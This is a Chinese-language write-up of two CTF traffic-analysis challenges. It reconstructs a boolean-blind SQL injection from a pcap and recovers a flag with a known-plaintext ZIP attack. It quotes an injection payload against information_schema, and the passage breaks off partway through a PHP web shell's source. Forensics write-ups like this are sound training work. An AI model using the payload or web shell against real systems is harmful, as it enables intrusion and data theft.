3CTF的两道流量分析题

第一道忘了叫啥了

题目链接：https://url.cn/5EvIRl6
提取码：i6ir

是初赛的Misc1题目，给了一个1.pcap文件。内容是黑客进行bool盲注的过程。

看一下HTTP，很容易看到一个readme.7z的压缩包，导出来，就一个readme.txt，没啥了。

然后可以注意到，盲注过程中响应内容的大小不是706bytes就是722bytes。（刚开始我还在想这尼玛会不会是二进制，对不起打扰了

706字节 - -

722字节 - -

比如说，攻击者刚开始爆数据库个数时：

?id=1' and ((select count(schema_name) from information_schema.schemata) > 0)#

一直到 >6都返回的是706字节，而>7时，返回了722字节，说明这时候相当于是报错了，也就是说个数应该是7。

突然发现盲注这块是我的盲点，，哭了

然后看到后面开始查询字段的时候，看到是有url和passwd两个字段。

嗯所以需要根据回显内容把这两个字段给解出来，一位一位地慢慢解，，

解出来是这样的（然鹅我令人堪忧的数学把我带到了上一个字符去2333：

url:
116 46 99 110 47 65 105 56 80 104 113 83 98
t.cn/Ai8PhqSb
passwd:
98 107 105 115
bkis

这个短链接其实是个百度网盘 - -

flag.zip是加密的，内容有flag.txt和readme.txt。

那么这就很容易想到了明文攻击了（虽然比赛的时候我没想到，因为我当时做题已经做傻了，，

嗯然后AAPR明文跑密钥解密就完事儿了。flag{1d0ea6a36f6aaf7fa5d4b007454227d6}

当然也有师傅闲着没事儿跑了一个多小时把口令也跑出来了：CtF36o!s0

---

第二道好像是叫黑客攻击啥的

题目链接：https://url.cn/5JhQXkI
提取码：txnq

复赛的流量题。首先看到的是shell脚本：

<?php
@error_reporting(0);
session_start();
if (isset($_GET['pass']))
{
   
    $key=substr(md5(uniqid(rand())),16);
    $_SESSION['k']=$key;
    print $key;
}
else
{
   
    $key=$_SESSION['k'];
	$post=file_get_contents("php://input");
	if(!extension_loaded('openssl'))
	{
   
		$t="base64_"."decode";
		$post=$t($post."");
		
		for($i=0;$i<strlen($post);$i++) {
   
    			 $post[$i] = $post[